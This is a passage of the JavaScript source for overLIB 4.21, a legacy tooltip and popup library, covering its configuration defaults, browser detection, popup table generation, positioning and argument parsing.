//\/////
//\  overLIB 4.21 - You may not remove or change this notice.
//\  Copyright Erik Bosrup 1998-2004. All rights reserved.
//\
//\  Contributors are listed on the homepage.
//\  This file might be old, always check for the latest version at:
//\  http://www.bosrup.com/web/overlib/
//\
//\  Please read the license agreement (available through the link above)
//\  before using overLIB. Direct any licensing questions to erik@bosrup.com.
//\
//\  Do not sell this as your own work or remove this copyright notice. 
//\  For full details on copying or changing this script please read the
//\  license agreement at the link above. Please give credit on sites that
//\  use overLIB and submit changes of the script so other people can use
//\  them as well.
//   $Revision: 1.119 $                $Date: 2005/07/02 23:41:44 $
//\/////
//\mini

////////
// PRE-INIT
// Ignore these lines, configuration is below.
////////
var olLoaded = 0;var pmStart = 10000000; var pmUpper = 10001000; var pmCount = pmStart+1; var pmt=''; var pms = new Array(); var olInfo = new Info('4.21', 1);
var FREPLACE = 0; var FBEFORE = 1; var FAFTER = 2; var FALTERNATE = 3; var FCHAIN=4;
var olHideForm=0;  // parameter for hiding SELECT and ActiveX elements in IE5.5+ 
var olHautoFlag = 0;  // flags for over-riding VAUTO and HAUTO if corresponding
var olVautoFlag = 0;  // positioning commands are used on the command line
var hookPts = new Array(), postParse = new Array(), cmdLine = new Array(), runTime = new Array();
// for plugins
registerCommands('donothing,inarray,caparray,sticky,background,noclose,caption,left,right,center,offsetx,offsety,fgcolor,bgcolor,textcolor,capcolor,closecolor,width,border,cellpad,status,autostatus,autostatuscap,height,closetext,snapx,snapy,fixx,fixy,relx,rely,fgbackground,bgbackground,padx,pady,fullhtml,above,below,capicon,textfont,captionfont,closefont,textsize,captionsize,closesize,timeout,function,delay,hauto,vauto,closeclick,wrap,followmouse,mouseoff,closetitle,cssoff,compatmode,cssclass,fgclass,bgclass,textfontclass,captionfontclass,closefontclass');

////////
// DEFAULT CONFIGURATION
// Settings you want everywhere are set here. All of this can also be
// changed on your html page or through an overLIB call.
////////
if (typeof ol_fgcolor=='undefined') var ol_fgcolor="#CCCCFF";
if (typeof ol_bgcolor=='undefined') var ol_bgcolor="#333399";
if (typeof ol_textcolor=='undefined') var ol_textcolor="#000000";
if (typeof ol_capcolor=='undefined') var ol_capcolor="#FFFFFF";
if (typeof ol_closecolor=='undefined') var ol_closecolor="#9999FF";
if (typeof ol_textfont=='undefined') var ol_textfont="Verdana,Arial,Helvetica";
if (typeof ol_captionfont=='undefined') var ol_captionfont="Verdana,Arial,Helvetica";
if (typeof ol_closefont=='undefined') var ol_closefont="Verdana,Arial,Helvetica";
if (typeof ol_textsize=='undefined') var ol_textsize="1";
if (typeof ol_captionsize=='undefined') var ol_captionsize="1";
if (typeof ol_closesize=='undefined') var ol_closesize="1";
if (typeof ol_width=='undefined') var ol_width="200";
if (typeof ol_border=='undefined') var ol_border="1";
if (typeof ol_cellpad=='undefined') var ol_cellpad=2;
if (typeof ol_offsetx=='undefined') var ol_offsetx=10;
if (typeof ol_offsety=='undefined') var ol_offsety=10;
if (typeof ol_text=='undefined') var ol_text="Default Text";
if (typeof ol_cap=='undefined') var ol_cap="";
if (typeof ol_sticky=='undefined') var ol_sticky=0;
if (typeof ol_background=='undefined') var ol_background="";
if (typeof ol_close=='undefined') var ol_close="Close";
if (typeof ol_hpos=='undefined') var ol_hpos=RIGHT;
if (typeof ol_status=='undefined') var ol_status="";
if (typeof ol_autostatus=='undefined') var ol_autostatus=0;
if (typeof ol_height=='undefined') var ol_height=-1;
if (typeof ol_snapx=='undefined') var ol_snapx=0;
if (typeof ol_snapy=='undefined') var ol_snapy=0;
if (typeof ol_fixx=='undefined') var ol_fixx=-1;
if (typeof ol_fixy=='undefined') var ol_fixy=-1;
if (typeof ol_relx=='undefined') var ol_relx=null;
if (typeof ol_rely=='undefined') var ol_rely=null;
if (typeof ol_fgbackground=='undefined') var ol_fgbackground="";
if (typeof ol_bgbackground=='undefined') var ol_bgbackground="";
if (typeof ol_padxl=='undefined') var ol_padxl=1;
if (typeof ol_padxr=='undefined') var ol_padxr=1;
if (typeof ol_padyt=='undefined') var ol_padyt=1;
if (typeof ol_padyb=='undefined') var ol_padyb=1;
if (typeof ol_fullhtml=='undefined') var ol_fullhtml=0;
if (typeof ol_vpos=='undefined') var ol_vpos=BELOW;
if (typeof ol_aboveheight=='undefined') var ol_aboveheight=0;
if (typeof ol_capicon=='undefined') var ol_capicon="";
if (typeof ol_frame=='undefined') var ol_frame=self;
if (typeof ol_timeout=='undefined') var ol_timeout=0;
if (typeof ol_function=='undefined') var ol_function=null;
if (typeof ol_delay=='undefined') var ol_delay=0;
if (typeof ol_hauto=='undefined') var ol_hauto=0;
if (typeof ol_vauto=='undefined') var ol_vauto=0;
if (typeof ol_closeclick=='undefined') var ol_closeclick=0;
if (typeof ol_wrap=='undefined') var ol_wrap=0;
if (typeof ol_followmouse=='undefined') var ol_followmouse=1;
if (typeof ol_mouseoff=='undefined') var ol_mouseoff=0;
if (typeof ol_closetitle=='undefined') var ol_closetitle='Close';
if (typeof ol_compatmode=='undefined') var ol_compatmode=0;
if (typeof ol_css=='undefined') var ol_css=CSSOFF;
if (typeof ol_fgclass=='undefined') var ol_fgclass="";
if (typeof ol_bgclass=='undefined') var ol_bgclass="";
if (typeof ol_textfontclass=='undefined') var ol_textfontclass="";
if (typeof ol_captionfontclass=='undefined') var ol_captionfontclass="";
if (typeof ol_closefontclass=='undefined') var ol_closefontclass="";

////////
// ARRAY CONFIGURATION
////////

// You can use these arrays to store popup text here instead of in the html.
if (typeof ol_texts=='undefined') var ol_texts = new Array("Text 0", "Text 1");
if (typeof ol_caps=='undefined') var ol_caps = new Array("Caption 0", "Caption 1");

////////
// END OF CONFIGURATION
// Don't change anything below this line, all configuration is above.
////////





////////
// INIT
////////
// Runtime variables init. Don't change for config!
var o3_text="";
var o3_cap="";
var o3_sticky=0;
var o3_background="";
var o3_close="Close";
var o3_hpos=RIGHT;
var o3_offsetx=2;
var o3_offsety=2;
var o3_fgcolor="";
var o3_bgcolor="";
var o3_textcolor="";
var o3_capcolor="";
var o3_closecolor="";
var o3_width=100;
var o3_border=1;
var o3_cellpad=2;
var o3_status="";
var o3_autostatus=0;
var o3_height=-1;
var o3_snapx=0;
var o3_snapy=0;
var o3_fixx=-1;
var o3_fixy=-1;
var o3_relx=null;
var o3_rely=null;
var o3_fgbackground="";
var o3_bgbackground="";
var o3_padxl=0;
var o3_padxr=0;
var o3_padyt=0;
var o3_padyb=0;
var o3_fullhtml=0;
var o3_vpos=BELOW;
var o3_aboveheight=0;
var o3_capicon="";
var o3_textfont="Verdana,Arial,Helvetica";
var o3_captionfont="Verdana,Arial,Helvetica";
var o3_closefont="Verdana,Arial,Helvetica";
var o3_textsize="1";
var o3_captionsize="1";
var o3_closesize="1";
var o3_frame=self;
var o3_timeout=0;
var o3_timerid=0;
var o3_allowmove=0;
var o3_function=null; 
var o3_delay=0;
var o3_delayid=0;
var o3_hauto=0;
var o3_vauto=0;
var o3_closeclick=0;
var o3_wrap=0;
var o3_followmouse=1;
var o3_mouseoff=0;
var o3_closetitle='';
var o3_compatmode=0;
var o3_css=CSSOFF;
var o3_fgclass="";
var o3_bgclass="";
var o3_textfontclass="";
var o3_captionfontclass="";
var o3_closefontclass="";

// Display state variables
var o3_x = 0;
var o3_y = 0;
var o3_showingsticky = 0;
var o3_removecounter = 0;

// Our layer
var over = null;
var fnRef, hoveringSwitch = false;
var olHideDelay;

// Decide browser version
var isMac = (navigator.userAgent.indexOf("Mac") != -1);
var olOp = (navigator.userAgent.toLowerCase().indexOf('opera') > -1 && document.createTextNode);  // Opera 7
var olNs4 = (navigator.appName=='Netscape' && parseInt(navigator.appVersion) == 4);
var olNs6 = (document.getElementById) ? true : false;
var olKq = (olNs6 && /konqueror/i.test(navigator.userAgent));
var olIe4 = (document.all) ? true : false;
var olIe5 = false; 
var olIe55 = false; // Added additional variable to identify IE5.5+
var docRoot = 'document.body';

// Resize fix for NS4.x to keep track of layer
if (olNs4) {
	var oW = window.innerWidth;
	var oH = window.innerHeight;
	window.onresize = function() { if (oW != window.innerWidth || oH != window.innerHeight) location.reload(); }
}

// Microsoft Stupidity Check(tm).
if (olIe4) {
	var agent = navigator.userAgent;
	if (/MSIE/.test(agent)) {
		var versNum = parseFloat(agent.match(/MSIE[ ](\d\.\d+)\.*/i)[1]);
		if (versNum >= 5){
			olIe5=true;
			olIe55=(versNum>=5.5&&!olOp) ? true : false;
			if (olNs6) olNs6=false;
		}
	}
	if (olNs6) olIe4 = false;
}

// Check for compatability mode.
if (document.compatMode && document.compatMode == 'CSS1Compat') {
	docRoot= ((olIe4 && !olOp) ? 'document.documentElement' : docRoot);
}

// Add window onload handlers to indicate when all modules have been loaded
// For Netscape 6+ and Mozilla, uses addEventListener method on the window object
// For IE it uses the attachEvent method of the window object and for Netscape 4.x
// it sets the window.onload handler to the OLonload_handler function for Bubbling
if(window.addEventListener) window.addEventListener("load",OLonLoad_handler,false);
else if (window.attachEvent) window.attachEvent("onload",OLonLoad_handler);

var capExtent;

////////
// PUBLIC FUNCTIONS
////////

// overlib(arg0,...,argN)
// Loads parameters into global runtime variables.
function overlib() {
	if (!olLoaded || isExclusive(overlib.arguments)) return true;
	if (olCheckMouseCapture) olMouseCapture();
	if (over) {
		over = (typeof over.id != 'string') ? o3_frame.document.all['overDiv'] : over;
		cClick();
	}

	// Load defaults to runtime.
  olHideDelay=0;
	o3_text=ol_text;
	o3_cap=ol_cap;
	o3_sticky=ol_sticky;
	o3_background=ol_background;
	o3_close=ol_close;
	o3_hpos=ol_hpos;
	o3_offsetx=ol_offsetx;
	o3_offsety=ol_offsety;
	o3_fgcolor=ol_fgcolor;
	o3_bgcolor=ol_bgcolor;
	o3_textcolor=ol_textcolor;
	o3_capcolor=ol_capcolor;
	o3_closecolor=ol_closecolor;
	o3_width=ol_width;
	o3_border=ol_border;
	o3_cellpad=ol_cellpad;
	o3_status=ol_status;
	o3_autostatus=ol_autostatus;
	o3_height=ol_height;
	o3_snapx=ol_snapx;
	o3_snapy=ol_snapy;
	o3_fixx=ol_fixx;
	o3_fixy=ol_fixy;
	o3_relx=ol_relx;
	o3_rely=ol_rely;
	o3_fgbackground=ol_fgbackground;
	o3_bgbackground=ol_bgbackground;
	o3_padxl=ol_padxl;
	o3_padxr=ol_padxr;
	o3_padyt=ol_padyt;
	o3_padyb=ol_padyb;
	o3_fullhtml=ol_fullhtml;
	o3_vpos=ol_vpos;
	o3_aboveheight=ol_aboveheight;
	o3_capicon=ol_capicon;
	o3_textfont=ol_textfont;
	o3_captionfont=ol_captionfont;
	o3_closefont=ol_closefont;
	o3_textsize=ol_textsize;
	o3_captionsize=ol_captionsize;
	o3_closesize=ol_closesize;
	o3_timeout=ol_timeout;
	o3_function=ol_function;
	o3_delay=ol_delay;
	o3_hauto=ol_hauto;
	o3_vauto=ol_vauto;
	o3_closeclick=ol_closeclick;
	o3_wrap=ol_wrap;	
	o3_followmouse=ol_followmouse;
	o3_mouseoff=ol_mouseoff;
	o3_closetitle=ol_closetitle;
	o3_css=ol_css;
	o3_compatmode=ol_compatmode;
	o3_fgclass=ol_fgclass;
	o3_bgclass=ol_bgclass;
	o3_textfontclass=ol_textfontclass;
	o3_captionfontclass=ol_captionfontclass;
	o3_closefontclass=ol_closefontclass;
	
	setRunTimeVariables();
	
	fnRef = '';
	
	// Special for frame support, over must be reset...
	o3_frame = ol_frame;
	
	if(!(over=createDivContainer())) return false;

	parseTokens('o3_', overlib.arguments);
	if (!postParseChecks()) return false;

	if (o3_delay == 0) {
		return runHook("olMain", FREPLACE);
 	} else {
		o3_delayid = setTimeout("runHook('olMain', FREPLACE)", o3_delay);
		return false;
	}
}

// Clears popups if appropriate
function nd(time) {
	if (olLoaded && !isExclusive()) {
		hideDelay(time);  // delay popup close if time specified

		if (o3_removecounter >= 1) { o3_showingsticky = 0 };
		
		if (o3_showingsticky == 0) {
			o3_allowmove = 0;
			if (over != null && o3_timerid == 0) runHook("hideObject", FREPLACE, over);
		} else {
			o3_removecounter++;
		}
	}
	
	return true;
}

// The Close onMouseOver function for stickies
function cClick() {
	if (olLoaded) {
		runHook("hideObject", FREPLACE, over);
		o3_showingsticky = 0;	
	}	
	return false;
}

// Method for setting page specific defaults.
function overlib_pagedefaults() {
	parseTokens('ol_', overlib_pagedefaults.arguments);
}


////////
// OVERLIB MAIN FUNCTION
////////

// This function decides what it is we want to display and how we want it done.
function olMain() {
	var layerhtml, styleType;
 	runHook("olMain", FBEFORE);
 	
	if (o3_background!="" || o3_fullhtml) {
		// Use background instead of box.
		layerhtml = runHook('ol_content_background', FALTERNATE, o3_css, o3_text, o3_background, o3_fullhtml);
	} else {
		// They want a popup box.
		styleType = (pms[o3_css-1-pmStart] == "cssoff" || pms[o3_css-1-pmStart] == "cssclass");

		// Prepare popup background
		if (o3_fgbackground != "") o3_fgbackground = "background=\""+o3_fgbackground+"\"";
		if (o3_bgbackground != "") o3_bgbackground = (styleType ? "background=\""+o3_bgbackground+"\"" : o3_bgbackground);

		// Prepare popup colors
		if (o3_fgcolor != "") o3_fgcolor = (styleType ? "bgcolor=\""+o3_fgcolor+"\"" : o3_fgcolor);
		if (o3_bgcolor != "") o3_bgcolor = (styleType ? "bgcolor=\""+o3_bgcolor+"\"" : o3_bgcolor);

		// Prepare popup height
		if (o3_height > 0) o3_height = (styleType ? "height=\""+o3_height+"\"" : o3_height);
		else o3_height = "";

		// Decide which kinda box.
		if (o3_cap=="") {
			// Plain
			layerhtml = runHook('ol_content_simple', FALTERNATE, o3_css, o3_text);
		} else {
			// With caption
			if (o3_sticky) {
				// Show close text
				layerhtml = runHook('ol_content_caption', FALTERNATE, o3_css, o3_text, o3_cap, o3_close);
			} else {
				// No close text
				layerhtml = runHook('ol_content_caption', FALTERNATE, o3_css, o3_text, o3_cap, "");
			}
		}
	}	

	// We want it to stick!
	if (o3_sticky) {
		if (o3_timerid > 0) {
			clearTimeout(o3_timerid);
			o3_timerid = 0;
		}
		o3_showingsticky = 1;
		o3_removecounter = 0;
	}

	// Created a separate routine to generate the popup to make it easier
	// to implement a plugin capability
	if (!runHook("createPopup", FREPLACE, layerhtml)) return false;

	// Prepare status bar
	if (o3_autostatus > 0) {
		o3_status = o3_text;
		if (o3_autostatus > 1) o3_status = o3_cap;
	}

	// When placing the layer the first time, even stickies may be moved.
	o3_allowmove = 0;

	// Initiate a timer for timeout
	if (o3_timeout > 0) {          
		if (o3_timerid > 0) clearTimeout(o3_timerid);
		o3_timerid = setTimeout("cClick()", o3_timeout);
	}

	// Show layer
	runHook("disp", FREPLACE, o3_status);
	runHook("olMain", FAFTER);

	return (olOp && event && event.type == 'mouseover' && !o3_status) ? '' : (o3_status != '');
}

////////
// LAYER GENERATION FUNCTIONS
////////
// These functions just handle popup content with tags that should adhere to the W3C standards specification.

// Makes simple table without caption
function ol_content_simple(text) {
	var cpIsMultiple = /,/.test(o3_cellpad);
	var txt = '<table width="'+o3_width+ '" border="0" cellpadding="'+o3_border+'" cellspacing="0" '+(o3_bgclass ? 'class="'+o3_bgclass+'"' : o3_bgcolor+' '+o3_height)+'><tr><td><table width="100%" border="0" '+((olNs4||!cpIsMultiple) ? 'cellpadding="'+o3_cellpad+'" ' : '')+'cellspacing="0" '+(o3_fgclass ? 'class="'+o3_fgclass+'"' : o3_fgcolor+' '+o3_fgbackground+' '+o3_height)+'><tr><td valign="TOP"'+(o3_textfontclass ? ' class="'+o3_textfontclass+'">' : ((!olNs4&&cpIsMultiple) ? ' style="'+setCellPadStr(o3_cellpad)+'">' : '>'))+(o3_textfontclass ? '' : wrapStr(0,o3_textsize,'text'))+text+(o3_textfontclass ? '' : wrapStr(1,o3_textsize))+'</td></tr></table></td></tr></table>';

	set_background("");
	return txt;
}

// Makes table with caption and optional close link
function ol_content_caption(text,title,close) {
	var nameId, txt, cpIsMultiple = /,/.test(o3_cellpad);
	var closing, closeevent;

	closing = "";
	closeevent = "onmouseover";
	if (o3_closeclick == 1) closeevent = (o3_closetitle ? "title='" + o3_closetitle +"'" : "") + " onclick";
	if (o3_capicon != "") {
	  nameId = ' hspace = \"5\"'+' align = \"middle\" alt = \"\"';
	  if (typeof o3_dragimg != 'undefined' && o3_dragimg) nameId =' hspace=\"5\"'+' name=\"'+o3_dragimg+'\" id=\"'+o3_dragimg+'\" align=\"middle\" alt=\"Drag Enabled\" title=\"Drag Enabled\"';
	  o3_capicon = '<img src=\"'+o3_capicon+'\"'+nameId+' />';
	}

	if (close != "")
		closing = '<td '+(!o3_compatmode && o3_closefontclass ? 'class="'+o3_closefontclass : 'align="RIGHT')+'"><a href="javascript:return '+fnRef+'cClick();"'+((o3_compatmode && o3_closefontclass) ? ' class="' + o3_closefontclass + '" ' : ' ')+closeevent+'="return '+fnRef+'cClick();">'+(o3_closefontclass ? '' : wrapStr(0,o3_closesize,'close'))+close+(o3_closefontclass ? '' : wrapStr(1,o3_closesize,'close'))+'</a></td>';
	txt = '<table width="'+o3_width+ '" border="0" cellpadding="'+o3_border+'" cellspacing="0" '+(o3_bgclass ? 'class="'+o3_bgclass+'"' : o3_bgcolor+' '+o3_bgbackground+' '+o3_height)+'><tr><td><table width="100%" border="0" cellpadding="2" cellspacing="0"><tr><td'+(o3_captionfontclass ? ' class="'+o3_captionfontclass+'">' : '>')+(o3_captionfontclass ? '' : '<b>'+wrapStr(0,o3_captionsize,'caption'))+o3_capicon+title+(o3_captionfontclass ? '' : wrapStr(1,o3_captionsize)+'</b>')+'</td>'+closing+'</tr></table><table width="100%" border="0" '+((olNs4||!cpIsMultiple) ? 'cellpadding="'+o3_cellpad+'" ' : '')+'cellspacing="0" '+(o3_fgclass ? 'class="'+o3_fgclass+'"' : o3_fgcolor+' '+o3_fgbackground+' '+o3_height)+'><tr><td valign="TOP"'+(o3_textfontclass ? ' class="'+o3_textfontclass+'">' :((!olNs4&&cpIsMultiple) ? ' style="'+setCellPadStr(o3_cellpad)+'">' : '>'))+(o3_textfontclass ? '' : wrapStr(0,o3_textsize,'text'))+text+(o3_textfontclass ? '' : wrapStr(1,o3_textsize)) + '</td></tr></table></td></tr></table>';

	set_background("");
	return txt;
}

// Sets the background picture,padding and lots more. :)
function ol_content_background(text,picture,hasfullhtml) {
	if (hasfullhtml) {
		txt=text;
	} else {
		txt='<table width="'+o3_width+'" border="0" cellpadding="0" cellspacing="0" height="'+o3_height+'"><tr><td colspan="3" height="'+o3_padyt+'"></td></tr><tr><td width="'+o3_padxl+'"></td><td valign="TOP" width="'+(o3_width-o3_padxl-o3_padxr)+(o3_textfontclass ? '" class="'+o3_textfontclass : '')+'">'+(o3_textfontclass ? '' : wrapStr(0,o3_textsize,'text'))+text+(o3_textfontclass ? '' : wrapStr(1,o3_textsize))+'</td><td width="'+o3_padxr+'"></td></tr><tr><td colspan="3" height="'+o3_padyb+'"></td></tr></table>';
	}

	set_background(picture);
	return txt;
}

// Loads a picture into the div.
function set_background(pic) {
	if (pic == "") {
		if (olNs4) {
			over.background.src = null; 
		} else if (over.style) {
			over.style.backgroundImage = "none";
		}
	} else {
		if (olNs4) {
			over.background.src = pic;
		} else if (over.style) {
			over.style.width=o3_width + 'px';
			over.style.backgroundImage = "url("+pic+")";
		}
	}
}

////////
// HANDLING FUNCTIONS
////////
var olShowId=-1;

// Displays the popup
function disp(statustext) {
	runHook("disp", FBEFORE);
	
	if (o3_allowmove == 0) {
		runHook("placeLayer", FREPLACE);
		(olNs6&&olShowId<0) ? olShowId=setTimeout("runHook('showObject', FREPLACE, over)", 1) : runHook("showObject", FREPLACE, over);
		o3_allowmove = (o3_sticky || o3_followmouse==0) ? 0 : 1;
	}
	
	runHook("disp", FAFTER);

	if (statustext != "") self.status = statustext;
}

// Creates the actual popup structure
function createPopup(lyrContent){
	runHook("createPopup", FBEFORE);
	
	if (o3_wrap) {
		var wd,ww,theObj = (olNs4 ? over : over.style);
		theObj.top = theObj.left = ((olIe4&&!olOp) ? 0 : -10000) + (!olNs4 ? 'px' : 0);
		layerWrite(lyrContent);
		wd = (olNs4 ? over.clip.width : over.offsetWidth);
		if (wd > (ww=windowWidth())) {
			lyrContent=lyrContent.replace(/\&nbsp;/g, ' ');
			o3_width=ww;
			o3_wrap=0;
		} 
	}

	layerWrite(lyrContent);
	
	// Have to set o3_width for placeLayer() routine if o3_wrap is turned on
	if (o3_wrap) o3_width=(olNs4 ? over.clip.width : over.offsetWidth);
	
	runHook("createPopup", FAFTER, lyrContent);

	return true;
}

// Decides where we want the popup.
function placeLayer() {
	var placeX, placeY, widthFix = 0;
	
	// HORIZONTAL PLACEMENT, re-arranged to work in Safari
	if (o3_frame.innerWidth) widthFix=18; 
	iwidth = windowWidth();

	// Horizontal scroll offset
	winoffset=(olIe4) ? eval('o3_frame.'+docRoot+'.scrollLeft') : o3_frame.pageXOffset;

	placeX = runHook('horizontalPlacement',FCHAIN,iwidth,winoffset,widthFix);

	// VERTICAL PLACEMENT, re-arranged to work in Safari
	if (o3_frame.innerHeight) {
		iheight=o3_frame.innerHeight;
	} else if (eval('o3_frame.'+docRoot)&&eval("typeof o3_frame."+docRoot+".clientHeight=='number'")&&eval('o3_frame.'+docRoot+'.clientHeight')) { 
		iheight=eval('o3_frame.'+docRoot+'.clientHeight');
	}			

	// Vertical scroll offset
	scrolloffset=(olIe4) ? eval('o3_frame.'+docRoot+'.scrollTop') : o3_frame.pageYOffset;
	placeY = runHook('verticalPlacement',FCHAIN,iheight,scrolloffset);

	// Actually move the object.
	repositionTo(over, placeX, placeY);
}

// Moves the layer
function olMouseMove(e) {
	var e = (e) ? e : event;

	if (e.pageX) {
		o3_x = e.pageX;
		o3_y = e.pageY;
	} else if (e.clientX) {
		o3_x = eval('e.clientX+o3_frame.'+docRoot+'.scrollLeft');
		o3_y = eval('e.clientY+o3_frame.'+docRoot+'.scrollTop');
	}
	
	if (o3_allowmove == 1) runHook("placeLayer", FREPLACE);

	// MouseOut handler
	if (hoveringSwitch && !olNs4 && runHook("cursorOff", FREPLACE)) {
		(olHideDelay ? hideDelay(olHideDelay) : cClick());
		hoveringSwitch = !hoveringSwitch;
	}
}

// Fake function for 3.0 users.
function no_overlib() { return ver3fix; }

// Capture the mouse and chain other scripts.
function olMouseCapture() {
	capExtent = document;
	var fN, str = '', l, k, f, wMv, sS, mseHandler = olMouseMove;
	var re = /function[ ]*(\w*)\(/;
	
	wMv = (!olIe4 && window.onmousemove);
	if (document.onmousemove || wMv) {
		if (wMv) capExtent = window;
		f = capExtent.onmousemove.toString();
		fN = f.match(re);
		if (fN == null) {
			str = f+'(e); ';
		} else if (fN[1] == 'anonymous' || fN[1] == 'olMouseMove' || (wMv && fN[1] == 'onmousemove')) {
			if (!olOp && wMv) {
				l = f.indexOf('{')+1;
				k = f.lastIndexOf('}');
				sS = f.substring(l,k);
				if ((l = sS.indexOf('(')) != -1) {
					sS = sS.substring(0,l).replace(/^\s+/,'').replace(/\s+$/,'');
					if (eval("typeof " + sS + " == 'undefined'")) window.onmousemove = null;
					else str = sS + '(e);';
				}
			}
			if (!str) {
				olCheckMouseCapture = false;
				return;
			}
		} else {
			if (fN[1]) str = fN[1]+'(e); ';
			else {
				l = f.indexOf('{')+1;
				k = f.lastIndexOf('}');
				str = f.substring(l,k) + '\n';
			}
		}
		str += 'olMouseMove(e); ';
		mseHandler = new Function('e', str);
	}

	capExtent.onmousemove = mseHandler;
	if (olNs4) capExtent.captureEvents(Event.MOUSEMOVE);
}

////////
// PARSING FUNCTIONS
////////

// Does the actual command parsing.
function parseTokens(pf, ar) {
	// What the next argument is expected to be.
	var v, i, mode=-1, par = (pf != 'ol_');	
	var fnMark = (par && !ar.length ? 1 : 0);

	for (i = 0; i < ar.length; i++) {
		if (mode < 0) {
			// Arg is maintext,unless its a number between pmStart and pmUpper
			// then its a command.
			if (typeof ar[i] == 'number' && ar[i] > pmStart && ar[i] < pmUpper) {
				fnMark = (par ? 1 : 0);
				i--;   // backup one so that the next block can parse it
			} else {
				switch(pf) {
					case 'ol_':
						ol_text = ar[i].toString();
						break;
					default:
						o3_text=ar[i].toString();  
				}
			}
			mode = 0;
		} else {
			// Note: NS4 doesn't like switch cases with vars.
			if (ar[i] >= pmCount || ar[i]==DONOTHING) { continue; }
			if (ar[i]==INARRAY) { fnMark = 0; eval(pf+'text=ol_texts['+ar[++i]+'].toString()'); continue; }
			if (ar[i]==CAPARRAY) { eval(pf+'cap=ol_caps['+ar[++i]+'].toString()'); continue; }
			if (ar[i]==STICKY) { if (pf!='ol_') eval(pf+'sticky=1'); continue; }
			if (ar[i]==BACKGROUND) { eval(pf+'background="'+ar[++i]+'"'); continue; }
			if (ar[i]==NOCLOSE) { if (pf!='ol_') opt_NOCLOSE(); continue; }
			if (ar[i]==CAPTION) { eval(pf+"cap='"+escSglQuote(ar[++i])+"'"); continue; }
			if (ar[i]==CENTER || ar[i]==LEFT || ar[i]==RIGHT) { eval(pf+'hpos='+ar[i]); if(pf!='ol_') olHautoFlag=1; continue; }
			if (ar[i]==OFFSETX) { eval(pf+'offsetx='+ar[++i]); continue; }
			if (ar[i]==OFFSETY) { eval(pf+'offsety='+ar[++i]); continue; }
			if (ar[i]==FGCOLOR) { eval(pf+'fgcolor="'+ar[++i]+'"'); continue; }
			if (ar[i]==BGCOLOR) { eval(pf+'bgcolor="'+ar[++i]+'"'); continue; }
			if (ar[i]==TEXTCOLOR) { eval(pf+'textcolor="'+ar[++i]+'"'); continue; }
			if (ar[i]==CAPCOLOR) { eval(pf+'capcolor="'+ar[++i]+'"'); continue; }
			if (ar[i]==CLOSECOLOR) { eval(pf+'closecolor="'+ar[++i]+'"'); continue; }
			if (ar[i]==WIDTH) { eval(pf+'width='+ar[++i]); continue; }
			if (ar[i]==BORDER) { eval(pf+'border='+ar[++i]); continue; }
			if (ar[i]==CELLPAD) { i=opt_MULTIPLEARGS(++i,ar,(pf+'cellpad')); continue; }
			if (ar[i]==STATUS) { eval(pf+"status='"+escSglQuote(ar[++i])+"'"); continue; }
			if (ar[i]==AUTOSTATUS) { eval(pf +'autostatus=('+pf+'autostatus == 1) ? 0 : 1'); continue; }
			if (ar[i]==AUTOSTATUSCAP) { eval(pf +'autostatus=('+pf+'autostatus == 2) ? 0 : 2'); continue; }
			if (ar[i]==HEIGHT) { eval(pf+'height='+pf+'aboveheight='+ar[++i]); continue; } // Same param again.
			if (ar[i]==CLOSETEXT) { eval(pf+"close='"+escSglQuote(ar[++i])+"'"); continue; }
			if (ar[i]==SNAPX) { eval(pf+'snapx='+ar[++i]); continue; }
			if (ar[i]==SNAPY) { eval(pf+'snapy='+ar[++i]); continue; }
			if (ar[i]==FIXX) { eval(pf+'fixx='+ar[++i]); continue; }
			if (ar[i]==FIXY) { eval(pf+'fixy='+ar[++i]); continue; }
			if (ar[i]==RELX) { eval(pf+'relx='+ar[++i]); continue; }
			if (ar[i]==RELY) { eval(pf+'rely='+ar[++i]); continue; }
			if (ar[i]==FGBACKGROUND) { eval(pf+'fgbackground="'+ar[++i]+'"'); continue; }
			if (ar[i]==BGBACKGROUND) { eval(pf+'bgbackground="'+ar[++i]+'"'); continue; }
			if (ar[i]==PADX) { eval(pf+'padxl='+ar[++i]); eval(pf+'padxr='+ar[++i]); continue; }
			if (ar[i]==PADY) { eval(pf+'padyt='+ar[++i]); eval(pf+'padyb='+ar[++i]); continue; }
			if (ar[i]==FULLHTML) { if (pf!='ol_') eval(pf+'fullhtml=1'); continue; }
			if (ar[i]==BELOW || ar[i]==ABOVE) { eval(pf+'vpos='+ar[i]); if (pf!='ol_') olVautoFlag=1; continue; }
			if (ar[i]==CAPICON) { eval(pf+'capicon="'+ar[++i]+'"'); continue; }
			if (ar[i]==TEXTFONT) { eval(pf+"textfont='"+escSglQuote(ar[++i])+"'"); continue; }
			if (ar[i]==CAPTIONFONT) { eval(pf+"captionfont='"+escSglQuote(ar[++i])+"'"); continue; }
			if (ar[i]==CLOSEFONT) { eval(pf+"closefont='"+escSglQuote(ar[++i])+"'"); continue; }
			if (ar[i]==TEXTSIZE) { eval(pf+'textsize="'+ar[++i]+'"'); continue; }
			if (ar[i]==CAPTIONSIZE) { eval(pf+'captionsize="'+ar[++i]+'"'); continue; }
			if (ar[i]==CLOSESIZE) { eval(pf+'closesize="'+ar[++i]+'"'); continue; }
			if (ar[i]==TIMEOUT) { eval(pf+'timeout='+ar[++i]); continue; }
			if (ar[i]==FUNCTION) { if (pf=='ol_') { if (typeof ar[i+1]!='number') { v=ar[++i]; ol_function=(typeof v=='function' ? v : null); }} else {fnMark = 0; v = null; if (typeof ar[i+1]!='number') v = ar[++i];  opt_FUNCTION(v); } continue; }
			if (ar[i]==DELAY) { eval(pf+'delay='+ar[++i]); continue; }
			if (ar[i]==HAUTO) { eval(pf+'hauto=('+pf+'hauto == 0) ? 1 : 0'); continue; }
			if (ar[i]==VAUTO) { eval(pf+'vauto=('+pf+'vauto == 0) ? 1 : 0'); continue; }
			if (ar[i]==CLOSECLICK) { eval(pf +'closeclick=('+pf+'closeclick == 0) ? 1 : 0'); continue; }
			if (ar[i]==WRAP) { eval(pf +'wrap=('+pf+'wrap == 0) ? 1 : 0'); continue; }
			if (ar[i]==FOLLOWMOUSE) { eval(pf +'followmouse=('+pf+'followmouse == 1) ? 0 : 1'); continue; }
			if (ar[i]==MOUSEOFF) { eval(pf +'mouseoff=('+pf+'mouseoff==0) ? 1 : 0'); v=ar[i+1]; if (pf != 'ol_' && eval(pf+'mouseoff') && typeof v == 'number' && (v < pmStart || v > pmUpper)) olHideDelay=ar[++i]; continue; }
			if (ar[i]==CLOSETITLE) { eval(pf+"closetitle='"+escSglQuote(ar[++i])+"'"); continue; }
			if (ar[i]==CSSOFF||ar[i]==CSSCLASS) { eval(pf+'css='+ar[i]); continue; }
